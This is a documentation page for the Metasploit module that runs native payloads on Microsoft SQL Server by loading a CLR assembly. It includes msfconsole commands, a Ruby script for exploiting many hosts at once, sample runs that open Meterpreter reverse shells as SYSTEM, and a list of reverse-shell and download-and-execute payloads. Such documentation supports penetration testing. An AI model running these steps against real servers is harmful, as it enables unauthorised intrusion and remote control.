Microsoft SQL Server Clr Stored Procedure Payload Execution - Metasploit


This page contains detailed information about how to use the exploit/windows/mssql/mssql_clr_payload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft SQL Server Clr Stored Procedure Payload Execution
Module: exploit/windows/mssql/mssql_clr_payload
Source code: modules/exploits/windows/mssql/mssql_clr_payload.rb
Disclosure date: 1999-01-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: ms-sql2000, ms-sql-s, sybase
Target network port(s): 1433, 1434, 1435, 2533, 2638, 9152, 14330
List of CVEs: -

This module executes an arbitrary native payload on a Microsoft SQL server by loading a custom SQL CLR Assembly into the target SQL installation, and calling it directly with a base64-encoded payload. The module requires working credentials in order to connect directly to the MSSQL Server. This method requires the user to have sufficient privileges to install a custom SQL CRL DLL, and invoke the custom stored procedure that comes with it. This exploit does not leave any binaries on disk. Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using mssql_clr_payload against a single host

Normally, you can use exploit/windows/mssql/mssql_clr_payload this way:

msf > use exploit/windows/mssql/mssql_clr_payload
msf exploit(mssql_clr_payload) > show targets
    ... a list of targets ...
msf exploit(mssql_clr_payload) > set TARGET target-id
msf exploit(mssql_clr_payload) > show options
    ... show and set options ...
msf exploit(mssql_clr_payload) > exploit

Using mssql_clr_payload against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your mssql_clr_payload will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/mssql/mssql_clr_payload")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Introduction


This module is based on the work that was done by @leechristensen and @sekirkity as documented here.

Prerequisites


The module requires SQL credentials for a user with sufficient privileges to:

  • Enable CLR support (if not already enabled).
  • Enabled TRUSTWORTHY (if not already enabled).
  • Add an assembly to the server.
  • Create a new stored procedure.

The module does all of the above, as required. It uploads a .NET Assembly (pre-built, and stored in the data folder) which is selected based on the version of the DB in question. This is a shim that exposes a function that allows for a base64-encoded payload to be executed as native shellcode. This function is exposed as a stored proc, which can be called directly through an SQL query with the base64 encoded shellcode.

This module was tested on SQL 2005, 2012 and 2016 (all x64 versions). I haven't tested on x86 yet. there is code in the module that makes sure that the target architecture matches the payload that was chosen.

This code also includes command-line builds for the assembly that is used to provide the code execution function, and can be built in the same way that all the other exploits are built (from a Visual Studio command line).

Sample Runs:


MS SQL 2005:

msf exploit(mssql_clr_payload) > exploit

[*] [2017.02.10-12:56:15] Started reverse TCP handler on 172.16.255.1:4444
[!] [2017.02.10-12:56:15] 172.16.255.130:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Database does not have CLR support enabled, enabling ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Using version v3.5 of the Payload Assembly
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Adding custom payload assembly ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Exposing payload execution stored procedure ...
[*] [2017.02.10-12:56:15] 172.16.255.130:1433 - Executing the payload ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing stored procedure ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Removing assembly ...
[*] [2017.02.10-12:56:16] Sending stage (1189423 bytes) to 172.16.255.130
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring CLR setting ...
[*] [2017.02.10-12:56:16] 172.16.255.130:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 10 opened (172.16.255.1:4444 -> 172.16.255.130:49168) at 2017-02-10 12:56:18 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-8CT6HVI5D6J
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

MS SQL 2016

msf exploit(mssql_clr_payload) > exploit

[*] [2017.02.10-12:55:58] Started reverse TCP handler on 172.16.255.1:4444
[!] [2017.02.10-12:55:58] 172.16.255.129:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Database does not have CLR support enabled, enabling ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Using version v4.0 of the Payload Assembly
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Adding custom payload assembly ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Exposing payload execution stored procedure ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Executing the payload ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing stored procedure ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Removing assembly ...
[*] [2017.02.10-12:55:58] Sending stage (1189423 bytes) to 172.16.255.129
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring CLR setting ...
[*] [2017.02.10-12:55:58] 172.16.255.129:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 9 opened (172.16.255.1:4444 -> 172.16.255.129:49732) at 2017-02-10 12:56:00 +1000

meterpreter > getuid
Server username: NT Service\MSSQLSERVER
meterpreter > sysinfo
Computer        : WIN-7QEE7C4D0GF
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

Go back to menu.

Msfconsole Usage


Here is how the windows/mssql/mssql_clr_payload exploit module looks in the msfconsole:

msf6 > use exploit/windows/mssql/mssql_clr_payload

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/mssql/mssql_clr_payload) > show info

       Name: Microsoft SQL Server Clr Stored Procedure Payload Execution
     Module: exploit/windows/mssql/mssql_clr_payload
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Provided by:
  Lee Christensen
  Nathan Kirk
  OJ Reeves

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name                 Current Setting  Required  Description
  ----                 ---------------  --------  -----------
  DATABASE             master           yes       The database to load the CLR Assembly into.
  PASSWORD                              no        The password for the specified username
  RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                1433             yes       The target port (TCP)
  TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
  USERNAME             sa               no        The username to authenticate as
  USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)

Payload information:

Description:
  This module executes an arbitrary native payload on a Microsoft SQL 
  server by loading a custom SQL CLR Assembly into the target SQL 
  installation, and calling it directly with a base64-encoded payload. 
  The module requires working credentials in order to connect directly 
  to the MSSQL Server. This method requires the user to have 
  sufficient privileges to install a custom SQL CRL DLL, and invoke 
  the custom stored procedure that comes with it. This exploit does 
  not leave any binaries on disk. Tested on MS SQL Server versions: 
  2005, 2012, 2016 (all x64).

References:
  http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/

Module Options


This is a complete list of options available in the windows/mssql/mssql_clr_payload exploit:

msf6 exploit(windows/mssql/mssql_clr_payload) > show options

Module options (exploit/windows/mssql/mssql_clr_payload):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   DATABASE             master           yes       The database to load the CLR Assembly into.
   PASSWORD                              no        The password for the specified username
   RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                1433             yes       The target port (TCP)
   TDSENCRYPTION        false            yes       Use TLS/SSL for TDS data "Force Encryption"
   USERNAME             sa               no        The username to authenticate as
   USE_WINDOWS_AUTHENT  false            yes       Use windows authentification (requires DOMAIN option set)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the windows/mssql/mssql_clr_payload exploit:

msf6 exploit(windows/mssql/mssql_clr_payload) > show advanced

Module advanced options (exploit/windows/mssql/mssql_clr_payload):

   Name                    Current Setting                                                       Required  Description
   ----                    ---------------                                                       --------  -----------
   CHOST                                                                                         no        The local client address
   CPORT                                                                                         no        The local client port
   ConnectTimeout          10                                                                    yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                                                                        no        The information file that contains context information
   DOMAIN                  WORKSTATION                                                           yes       The domain to use for windows authentication
   DisablePayloadHandler   false                                                                 no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                                                 no        Use transient context when encoding payloads
   HEX2BINARY              /opt/metasploit-framework/embedded/framework/data/exploits/mssql/h2b  no        The path to the hex2binary script on the disk
   NTLM::SendLM            true                                                                  yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true                                                                  yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true                                                                  yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false                                                                 yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true                                                                  yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true                                                                  yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                                                                       no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false                                                                 no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                                                                     no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER                                                                  no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto                                                                  yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                                                           .2)
   VERBOSE                 false                                                                 no        Enable detailed status messages
   WORKSPACE                                                                                     no        Specify the workspace for this module
   WfsDelay                2                                                                     no        Additional delay in seconds to wait for a session

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                               no        Port to bind reverse tcp socket to on target system.
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/mssql/mssql_clr_payload module can exploit:

msf6 exploit(windows/mssql/mssql_clr_payload) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/mssql/mssql_clr_payload exploit:

msf6 exploit(windows/mssql/mssql_clr_payload) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   6    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   7    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   8    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   9    payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   10   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   11   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   12   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   13   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   14   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   15   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   16   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   17   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   18   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   19   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   21   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   22   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   23   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   24   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   25   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   26   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   27   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   28   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   29   payload/windows/exec                                                         normal  No     Windows Execute Command
   30   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   31   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   32   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   33   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   34   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   35   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   36   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   37   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   38   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   39   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   41   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   42   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   43   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   44   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   45   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   46   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   47   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   48   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   49   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   50   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   51   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   53   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   56   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   57   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   58   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   59   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   60   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   61   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   62   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   63   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   64   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   65   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   66   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   67   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   68   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   70   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   71   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   72   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   73   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   74   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   75   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   76   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   77   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   79   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   81   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   84   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   85   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   86   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   88   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   89   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   90   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   91   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   92   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   93   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   94   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   95   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   96   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   97   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   98   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   99   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   100  payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   101  payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   102  payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   103  payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
